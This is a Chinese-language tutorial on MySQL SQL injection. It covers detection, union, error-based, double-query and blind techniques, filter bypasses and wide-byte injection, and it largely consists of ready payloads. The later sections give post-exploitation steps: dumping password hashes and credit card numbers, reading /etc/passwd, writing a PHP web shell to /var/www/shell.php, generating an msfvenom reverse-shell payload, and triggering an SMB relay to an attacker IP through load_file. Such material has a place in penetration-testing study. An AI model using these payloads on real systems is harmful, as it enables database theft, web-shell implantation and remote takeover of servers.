SQL注入入门笔记
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
SQL注入的起源
SQL注入第一次出现在大众的视野是1998年12月著名黑客杂志《Phack》第54期上,名为rfp的黑客发表了一篇名为“NT Webs Technology Vulnerabilities”的文章。
原地址:http://phrack.org/issues/54/8.html
什么是SQL注入
SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为称为SQL注入。(SQL三要素)
为什么会有SQL注入
- 代码对带入SQL语句的参数过滤不严格
- 未启用框架的安全配置,例如:PHP的magic_quotes_gpc(默认过滤敏感字符)
- 未使用框架安全的查询方法 (预处理参数,非简单拼接SQL语句)
- 测试接口未删除
- 未启用防火墙
- 未使用其他的安全防护设备
SQL注入的业务场景以及危害
业务场景
- 登陆功能
- 搜索功能
- 详情页面
漏洞危害
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件︰修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
任何和数据库产生交互的地方便有可能存在注入
SQL注入为什么会有这么多分类
按照请求方法分类
- GET型注入
- POST型注入
按照SQL数据类型分类
- 整数型
- 字符型
其他的数据类型
- 报错注入
- 双注入
- 盲注
- 布尔盲注
- 时间盲注
- Cookie注入
- User-Agent注入
- ………..
报错注入:传入到后台的Payload让后台执行的SQL语句报错,并且报错信息被显示到页面上了。(报错、显示缺一不可)
双注入:又叫“双查询注入”,即 在拼接SQL语句是用到了两个
SELECT
(具体原理 本文会详细讲解)盲注:布尔盲注{传入Payload后,通过页面的正常和非正常两种状态来获取数据库信息),时间盲注(传入Payload后,通过页面响应时间来判断
sleep
语句是否执行,进而获取数据库信息),即看不见数据的返回信息。Cookie和User-Agent注入:即SQL注入Payload的传入位置
没必要太过于纠结注入的分类,了解注入的原理就可以啦
通过分类能帮我们归纳总结一些错误,提高学习SQL注入的效率,而不是被这些分类束缚住了思维!
注入检测
可以通过多种方式检测注入。其中最简单的方法是在各种参数后添加'
或"
从而得到一个从Web服务器返回的数据库报错信息。以下部分描述了在哪里可以找到这些参数以及如何检测这些参数。(了解一下伪静态网站?)
参数位置
GET - HTTP Request
在常见的HTTP GET请求(以及大多数请求类型)中,有一些常见的注入点。例如:网址参数(下面的请求的id
),Cookie,Host以及任何自定义headers信息。然而,HTTP请求中的任何内容都可能容易受到SQL注入的攻击。1
2
3
4
5
6
7
8
9
10
11GET /?id=homePage
Host: www.example.com
Connection: close
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
X-Server-Name: PROD
Cookie: user=harold;POST - Form Data
在具有Content-Type为application/x-www-form-urlencoded
的标准HTTP POST请求中,注入将类似于GET请求中的URL参数。它们位于HTTP头信息下方,但仍可以用相同的方式进行利用。1
2
3
4
5POST /
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
username=harold&email=harold@netspi.comPOST - JSON
在具有Content-Type为application/json
的标准HTTP POST请求中,注入通常是JSON{"key":"value"}
对的值。该值也可以是数组或对象。虽然符号是不同的,但值可以像所有其他参数一样注入。(提示:尝试使用'
,但要确保JSON使用双引号,否则可能会破坏请求格式。)1
2
3
4
5
6
7
8POST /
Host: www.example.com
Content-Type: application/json
Content-Length: 56
{
"username":"admin",
"email":"admin@example.com"
}POST - XML
在具有Content-Type为application/xml
的标准HTTP POST请求中,注入通常在一个内部。虽然符号是不同的,但值可以像所有其他参数一样注入。(提示:尝试使用'
)1
2
3
4
5
6
7
8POST /
Host: netspi.com.com
Content-Type: application/xml
Content-Length: 79
<root>
<username>admin</username>
<email>admin@example.com</email>
</root>
检测注入
通过在应用程序中触发错误和布尔逻辑,可以最轻松地检测易受攻击的参数。提供格式错误的查询将触发错误,并且使用各种布尔逻辑语句发送有效查询将触发来自Web服务器的不同响应。
注:True或False语句应通过HTTP状态码或HTML内容返回不同的响应。如果这些响应与查询的True/False性质一致,则表示存在注入。
描述 | 语句 |
---|---|
逻辑测试 | page.php?id=1 or 1=1 – true page.php?id=1’ or 1=1 – true page.php?id=1” or 1=1 – true page.php?id=1 and 1=2 – false |
算术 | product.php?id=1/1 – true product.php?id=1/0 – false |
基于盲注: 检测盲注可能需要识别或猜测DBMS, 并检查以找到适当的时间函数。 | |
基于错误: 通过触发数据库中的错误来利用基于错误的注入。 |
语句千变万化,以上仅示例
MySQL注入需要了解的基础知识
MySQL数据表的基础知识及表结构的常用操作
https://blog.csdn.net/yuzhiqiang_1993/article/details/81360320
MySQL 手工注入之常见函数
ord() char()
基本格式
1 | select substring(database(),1,1); |
ord()函数可以返回单个字符的ASCII码
反之,char()函数可将ASCII码转换为对应的字符
CONCAT
基本格式
1 | CONCAT(str1,str2) |
返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ,则返回值为 NULL。可以有一个或多个参数。
使用案例
参数中有 NULL
1 | mysql> SELECT CONCAT(id,',',NULL,',',password) AS users FROM users LIMIT 1,1; |
使用 LIMIT 来控制结果数量
1 | mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users; |
CONCAT_WS
CONCAT_WS()
代表 CONCAT With Separator
,是CONCAT()
的特殊形式。第一个参数是其它参数的分隔符。感觉比CONCAT
更方便了呀,这样参数多的话就不用手动的去添加分隔符了。
基本格式
1 | CONCAT_WS(separator,str1,str2,…) |
Separator 为字符之间的分隔符
使用案例
1 | mysql> SELECT CONCAT_WS(0x7e,id,username,password) AS users FROM users LIMIT 0,2; |
GROUP_CONCAT
GROUP_CONCAT
函数返回一个字符串结果,默认查询所有结果。该结果由分组中的值连接组合而成。
基本格式
1 | GROUP_CONCAT(str1,str2,…) |
使用案例
1 | mysql> SELECT GROUP_CONCAT(id,username,password) AS users FROM users; |
MySQL 字符串函数
函数名称 | 作 用 |
---|---|
LENGTH | 计算字符串长度函数,返回字符串的字节长度 |
CONCAT | 合并字符串函数,返回结果为连接参数产生的字符串,参数可以使一个或多个 |
INSERT | 替换字符串函数 |
LOWER | 将字符串中的字母转换为小写 |
UPPER | 将字符串中的字母转换为大写 |
LEFT | 从左侧字截取符串,返回字符串左边的若干个字符 |
RIGHT | 从右侧字截取符串,返回字符串右边的若干个字符 |
TRIM | 删除字符串左右两侧的空格 |
REPLACE | 字符串替换函数,返回替换后的新字符串 |
SUBSTRING | 截取字符串,返回从指定位置开始的指定长度的字符换 |
REVERSE | 字符串反转(逆序)函数,返回与原始字符串顺序相反的字符串 |
注入类型
UNION联合注入
手工注入经典语句,作用是在后面通过UNION
把我们的恶意注入语句接上去,带入数据库进行查询。
整型注入
1 |
|
代码逻辑:根据GET的参数id来获取数据库对应的信息。
判断三要素
未严格校验 =>判断是否有注入
恶意修改 =>语句是否能够被恶意修改(什么类型注入)
成功执行 => 获取我们想要的数据
判断是否是注入点一般过程:
- 判断可控参数的改变能否成功拼接到SQL语句中并影响页面的显示结果。
- 输入的SQL语句能否报错(通过返回的数据库报错,看到部分后台SQL语句,可以判断注入类型)
- 输入的SQL语句能否不报错(根据经验和已知的部分SQL语句结构修改Payload使后台SQL语句成功闭合为正确语句)
常见Payload示例
1 | ?id=1 or 1=1 |
字符型注入
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//可控参数附近有单引号或者双引号 |
常见Payload示例
1 | ?id=1' or 1=1 |
带入进源码中的SQL语句就是:
1 | SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1 |
注意引号的闭合,利用方式跟字符型类似
UNION联合注入利用
字符型演示
注释或者闭合语句
引号闭合语句
1
2
3id =1'and'1'='1
#带入进源码中的SQL语句就是:
SELECT * FROM users WHERE id='1'and'1'='1' LIMIT 0,1注释后面语句
1
2
3
4
5
6
7
8
9
10or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用 # 替换,URL 提交过程中 Url 编码后的#为%23
#带入进源码中的SQL语句就是:
SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1
and 验证
页面返回正常
1
2?id=1' and 1=1 --+
?id=1' or 1=2 --+页面返回异常
1
2?id=1' and 1=2 --+
?id=1' or 1=1 --+如果发现一开始页面先是正常然后是异常的话,说明页面啊存在注入。当然这里是最基本的判断方法,到后面盲注的时候是用延时函数来观察页面的返回时间的。
判断原来sql语句返回列数(union:前后两个select语句返回的列数需一致)
union select 1,2,3
order by 3
查询字段数目主要利用 MySQL 里面的 order by 来判断字段数目,order by 一般采用数学中的对半查找来判断具体的字段数目,这样效率会很高,下面假设用 order by 来判断一个未知字段的注入。
1
2
3
4
5?id=1’ order by 1 --+ 此时页面正常,继续换更大的数字测试
?id=1’ order by 10 -–+ 此时页面返回错误,更换小的数字测试
?id=1’ order by 5 –-+ 此时页面依然报错,继续缩小数值测试
?id=1’ order by 3 –-+ 此时页面返回正常,更换大的数字测试
?id=1’ order by 4 –-+ 此时页面返回错误,3正常,4错误,说明字段数目就是 3通过数学的二分法对半查找,确定字段数目。
UNION联合
1
2
3找到注入位置
id=0' union select 11,22,33%23
确定页面哪个位置是我们能够用sql语句控制的。获取信息
获取当前库
1
?id=0' union SELECT 0,database(),2%23
获取数据库中所有库
1
?id=0' union SELECT 0,group_concat(SCHEMA_NAME),2 FROM information_schema.SCHEMATA%23
获取当前库中所有的表
1
?id=0' union SELECT 0,group_concat(TABLE_NAME),2 FROM information_schema.TABLES where TABLE_SCHEMA=database()%23
获取指定表中所有列(字段)
1
?id=0' union SELECT 0,group_concat(COLUMN_NAME),2 FROM information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='emails'%23
获取指定表的数据
1
?id=0' union SELECT 0,group_concat(concat_ws(':',id,email_id)),2 from security.emails%23
报错注入
描述 | 语句 |
---|---|
XML解析错误 | SELECT extractvalue(rand(),concat(0x3a,(select version()))) |
双注入 | SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a) 递增 limit 0,1到limit 1,1开始循环数据 |
获取当前数据库 | SELECT a() |
xpath报错注入
updatexml函数
- updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
- 作用:改变文档中符合条件的节点的值
- 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
- updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
- 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
updatexml()的注入点
1 | ?id=0 and updatexml(1,concat(0x7e,database()),1) |
extractvalue函数
- 此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
- extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
- select user,password from users where user_id=1 and (extractvalue(1,0x7e));
- 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
extractvalue()的注入点
1 | ?id=0 and extractvalue(1,concat(0x7e,database())) |
双注入
先大概说明一下双注入的原理和会用到的函数。
函数说明:
- rand()是一个生成随机数的函数,他会返回0到1之间到一个值。
- floor()是向下取整函数
- count()是一个聚合函数,用户返回符合条件的记录数量,常用于计算行的数目。
group by //分组语句
select username as a from users group by a;
其中as a
可以理解为命名,也就是给列重命名为a。
子查询
查询的关键字是select,子查询可以简单的理解为在select语句里还有一个select,里面的这个select语句就是子查询。
1 | mysql> select concat((select version())); |
原理
在执行group by a
语句的时候,语句对引用的字段进行索引,生成了一个虚拟表表中有名称为group_key的主键
我们使用count
函数查看虚拟表是否存在主键,如果不存在则插入新纪录
当我们的查询语句中包含了rand()
函数时,group by
在处理时,对rand()
函数进行了多次处理,所以造成了双查询报错信息。
可以看到执行语句会返回两种结果:
- 1、在传入group by新建虚拟表时,select database()+随机数生成的0或1 也就是
security0&security1
的查询结果与group by主键冲突,便产生报错。 - 2、select的查询结果与group by生成虚拟表的主键不冲突,则不会报错,输出正常查询结果。
简单讲就是,当
floor()
,count()
,group by
遇到一起在from
一个3行以上的表时,就会产生一个主键重复的报错,而此时你把你想显示的信息构造到主键里面,mysql就会通过报错把这个信息给你显示到页面上。
固定套路:
1 | select count(*),concat_ws(':',([子查询],floor(rand()*2))) as a form [table_name] group by a; |
语句总结
爆库:
1 | select 1,count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand()*2)) as a from information_schema.TABLES group by a --+ |
爆表:
1 | select count(*),1, concat((select group_concat(table_name) from information_schema.tables where table_schema='库名'),floor(rand()*2)) as a from information_schema.tables group by a |
爆字段:
1 | select count(*),1, concat((select password from users LIMIT 0,1),floor(rand()*2)) as a from information_schema.tables group by a |
场景复现
首先我们新建一个数据库,并创建一个表用作实验:
1 | mysql> CREATE DATABASE sql_test; |
接下来先插入一条数据测试:
1 | mysql> INSERT INTO test VALUES("1","aaa"); |
下面看见已经插入了一条数据:
接下来我们构造一个报错条件,让其报错,显示出当前数据库名:
1 | mysql> SELECT count(*),concat((SELECT database()),"~",floor(rand()*2))as a FROM test GROUP BY a; |
查询的结果要么为sql_test0,要么是sql_test1,取决于随机数取整结果,不会触发报错。
接下来再在表中插入一条数据进行测试:
1 | mysql> INSERT INTO test VALUES("2","bbb"); |
双查询语句与之前一样
运气很好,第一次就报错了,错误内容意思:group by 操作时主键 ‘sql_test~1’ 重复
还有其他正常执行不报错的情况:
可以看到,这里存在两条数据就可以引发报错,得到数据库信息。
形成原因
接下来我们再分析其报错的形成 原因:
先谈group by 函数:
在表中再插入两条数据,name值都为“bbb”:
1 | mysql> INSERT INTO test VALUES("3","bbb"); |
成功后表如下:
这时候我们使用group by 语句时,MySQL会将查询结果分类汇总,重复的内容会合并为一项:
1 | mysql> SELECT name FROM test GROUP BY name; |
这时候再使用count()函数就可以对不同的条目计数:
1 | mysql> SELECT count(*),name FROM test GROUP BY name; |
如图:aaa有一条,bbb有3条
其背后的实现原理如下:
在执行group by name语句时,MySQL会在内部建立一个虚拟表,用来储存列的数据,表中会有一个group_key值作为表的主键,这里的主键就是用来分类的name列中获取,当查询数据时,取数据库数据,然后查看虚拟表中存在不,不存在则插入新记录
当读取到第一行数据时,aaa不存在,将aaa放入主键列中,1放在id列中
然后继续往下走,到了bbb,不存在,也放进去
往下执行,遇到多余的bbb,已经有bbb存在,就汇总在一起,内部情况如下:
如下,最后在查询的时候根据group by内部的实现方式返回分类后的结果:
当我们加上count()函数时,操作过程为:查看虚拟表是否存在该主键值,不存在则插入新记录,存在则count()字段直接加1
这样就能对上面的分类结果进行统计,然后将统计结果返回:
所以双查询报错的关键就在这里,主要的原因在于rand()函数在group by的过程中被触发了多次,
报错原理
让我们回看一下构造的报错语句:
1 | mysql> SELECT count(*),concat((SELECT database()),"~",floor(rand()*2))as a FROM test GROUP BY a; |
执行前虚拟表为空:
当第一次执行时,group by 分组,其取的数据的是以a为别名的这条语句,假设这时的concat((SELECT database()),"~",floor(rand()*2))
生成结果为sql_test~0
,group就以sql_test~0
查询虚拟表,发现表中没有该值的主键,于是将这条语句的结果插入到虚拟表中。
注意!是将这条语句的结果插入到虚拟表中,而不是将 sql_test~0
插入到虚拟表中,如下:
(将concat((SELECT database()),"~",floor(rand()*2))
以a为别名,方便作图)
由于虚拟表没有内容,所以会将其插入到虚拟表中,这里的插入过程中,由于插入的是a语句的结果,所以在插入时a语句中的rand()函数会再次执行,即插入的值可能为sql_test~0
也可能为 sql_test~1
,这里假设插入时a执行的结果为sql_test~0
:
所以上面的情况就是用sql_test~1
这个结果查询虚拟表,不存在该数据,于是插入虚拟表,插入时又运算一次,然后插入的值变成了sql_test~0
,所以这就是主要的冲突,表中只有一条数据还好,即使查询虚拟表的值和插入虚拟表的值不是同一个,但虚拟表也只生成一条记录,不会出现问题。
然而当表的数据出现两条以上的时候,第group by 在处理完第一条数据后会往下继续处理第二条,于是第二条还会按第一条的处理方式进行:
于是就会报错,报错内容如下:
1 | ERROR 1062 (23000): Duplicate entry 'sql_test~0' for key 'group_key' |
如果第二次查询和插入的结果都一致:就会有下面两种情况:
- 都是
sql_test~0
:表里已存在,该主键的count(*)值+1 - 都是
sql_test~1
:表里没有,插入形成新的主键
探索小结
所以成因已经明白了:当group by 在查询虚拟表和插入虚拟表时,如果这两次a语句执行的结果不一致就会引发错误,错误提示信息是插入的主键重复,通过自定义提示里报错信息中的主键值来获得敏感信息。
其中还可以通过修改rand()函数的随机因子,指定随机数生成方式来提高报错的效率,具体见深入分析的参考链接,这里不过多赘述。
参考链接:
https://www.cnblogs.com/laoxiajiadeyun/p/10283251.html
group by:https://blog.csdn.net/hao1066821456/article/details/69556644
双查询注入:https://www.cnblogs.com/BloodZero/p/4660971.html
http://www.lijiejie.com/mysql-injection-error-based-duplicate-entry/
Mysql报错注入原理分析:https://www.cnblogs.com/xdans/p/5412468.html#undefined
盲注
盲注与其他注入有所不同,普通注入查询正确会返回结果
而在盲注的sql查询中,服务器只会返回是,不是两种回答,因此就给我们的注入带来了麻烦,手工盲注的工作量是普通注入的几十倍之多,一般来说我们采用自动化注入工具,如sqlmap来实现,在这里我们将会演示手工盲注的思路,对盲注的过程和原理有更加深入的认识.
布尔盲注
由于盲注无法回显,所以只能通过将获取到的数据挨个字符截取,然后再通过转换为ASCII码的方式与可见字符的ASCII值一一对比
这里以读取当前数据库名为例
1 | ?id=0' or (select length(database()))=8 %23 |
当length(database())=8时,返回真,也就是数据库名的长度有8位
然后我们再一位一位的判断字符内容,由于mysql库名不区分大小写,且组成元素为26位英文字母、数字和下划线,所以只需要和这些字符的ASCII值进行比较
当与其他ASCII值判断时,返回均为假,与115判断是否相等时,返回为真,由此可判断数据库名第一个字符的ASCII值为115,再通过ASCII转换为字符,可得知当前数据库名第一个字符内容为’s’
时间盲注
在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注
1 | ?id=0' or if(((select length(database()))=8),sleep(1),0)%23 |
常用绕过技巧
绕过空格
两个空格代替一个空格,用Tab代替空格,%a0=空格:
1 | %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ |
括号绕过空格
如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
1 | select(user())from dual where(1=1)and(2=2) |
引号绕过(使用十六进制)
会使用到引号的地方一般是在最后的where
子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
1 | select column_name from information_schema.tables where table_name="users" |
这个时候如果引号被过滤了,那么上面的where
子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。 users
的十六进制的字符串是7573657273
。那么最后的sql语句就变为了:
1 | select column_name from information_schema.tables where table_name=0x7573657273 |
绕过union,select,where等
使用注释符绕过:
常用注释符:
1 | //,-- , /**/, #, --+, -- -, ;,%00,--a |
用法:
1 | U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user |
使用大小写绕过:
1 | id=-1'UnIoN/**/SeLeCT |
内联注释绕过:
1 | id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()# |
双关键字绕过(若删除掉第一个匹配的union就能绕过):
1 | id=-1'UNIunionONSeLselectECT1,2,3–- |
宽字节注入
过滤 '
的时候往往利用的思路是将 '
转换为 \'
。
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
(1)%df 吃掉 \ 具体的方法是 urlencode(‘) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:
1 | id=-1%df%27union select 1,user(),3--+ |
(2)将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
1.replace():过滤 ‘ \ ,将 ‘ 转化为 ' ,将 \ 转为 \,将 “ 转为 " 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , “ , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string():转义下列字符:
1 | \x00 \n \r \ ' " \x1a |
(防御,将mysql设置为gbk即可)
攻击查询(注入点利用)
信息收集
收集有关任何测试环境的信息通常很有价值; 版本号,用户帐户和数据库都有助于升级漏洞。以下是针对MYSQL
常见的方法。
1 | version() # MySQL版本 |
*
需要特权用户
描述 | 语句 |
---|---|
版本 | SELECT @@version |
单个用户 | SELECT user() SELECT system_user() |
所有用户 | SELECT user FROM mysql.user* SELECT Super_priv FROM mysql.user WHERE user= ‘root’ LIMIT 1,1 |
表 | SELECT table_schema, table_name FROM information_schema.tables |
列 | SELECT table_name, column_name FROM information_schema.columns |
数据库 | SELECT schema_name FROM information_schema.schemata |
当前数据库名称 | SELECT database() |
查询其他数据库 | USE [database_name]; SELECT database(); SELECT [column] FROM [database_name].[table_name] |
列数 | SELECT count(*) FROM information_schema.columns WHERE table_name = ‘[table_name]’ |
DBA账户 | SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’ |
密码哈希 | SELECT host, user, password FROM mysql.user |
Schema | SELECT schema() |
数据路径 | SELECT @@datadir |
读取文件 | * SELECT LOAD_FILE(‘/etc/passwd’) |
information_schema
information_schema 数据库是 MySQL 自带的信息数据库。 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
MySQL是一本书,information_schema库这个存储数据库元数据的库就是书的目录或者索引。
information_schema中的表
1 | mysql> use information_schema; |
SCHEMATA 表
当前 mysql 实例中所有数据库的信息。SHOW DATABASES;
命令从这个表获取数据。
1 | mysql> SELECT * FROM information_schema.SCHEMATA; |
TABLES 表
存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX;
命令从这个表获取结果。
下面命令可以知道哪个库里有哪些表
1 | mysql> SELECT TABLE_NAME FROM information_schema.TABLES where TABLE_SCHEMA='security'; |
COLUMNS 表
存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename
命令从这个表获取结果。
下面命令可以知道哪个表中里有哪些字段
1 | mysql> SELECT COLUMN_NAME FROM information_schema.COLUMNS where TABLE_SCHEMA='security' and TABLE_NAME='emails'; |
数据定位
以下是针对MYSQL
常见的方法。
描述 | 语句 |
---|---|
数据库大小 | SELECT table_schema "Database Name",sum( data_length + index_length ) / 1024 / 1024 "Database Size in MB",sum( data_free )/ 1024 / 1024 "Free Space in MB" FROM information_schema.TABLES GROUP BY table_schema ; |
数据库名称关键字 | SELECT table_schema "Database Name" FROM information_schema.TABLES WHERE table_schema LIKE "%passwords%" GROUP BY table_schema ; |
表名关键字 | SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema NOT LIKE "information_schema" AND table_name LIKE "%admin%"; |
列名关键字 | SELECT column_name, table_name FROM information_schema.columns WHERE column_name LIKE "%password%"; |
列数据正则表达式 | SELECT * from credit_cards WHERE cc_number REGEXP '^4[0-9]{15}$'; |
系统命令执行
执行系统命令是SQL注入的主要目标之一,这有助于完全控制主机操作系统。这可能通过直接执行命令,修改现有数据以在网页上放置shell或者利用数据库中的隐藏功能来实现。
描述 | 语句 |
---|---|
命令执行(PHP) | SELECT “” INTO OUTFILE ‘/var/www/shell.php’ |
使用MySQL CLI Access执行命令 | https://infamoussyn.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/ |
SMB中继外壳
Requires
生成反向shell有效负载
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR.IP.GOES.HERE LPORT=443 -f exe > reverse_shell.exe |
生成一个侦听器来传递反向shell
1 | smbrelayx.py -h VICTIM.IP.GOES.HERE -e ./reverse_shell.exe |
执行下面的任何一个MySQL查询来调用监听器
1 | select load_file('\\\\YOUR.IP.GOES.HERE\\aa'); |
有关更多信息,请参见此处
读写文件
*
需要特权用户
描述 | 语句 |
---|---|
转储到文件 | SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’ |
写入 PHP Shell 到文件 | SELECT ‘system($_GET[‘c’]); ?>’ INTO OUTFILE ‘/var/www/shell.php’ |
读文件 | SELECT LOAD_FILE(‘/etc/passwd’) |
读取混淆的文件 | SELECT LOAD_FILE(0x633A5C626F6F742E696E69) reads c:\boot.ini |
文件权限 | SELECT file_priv FROM mysql.user WHERE user = ‘netspi’ SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%netspi%’ |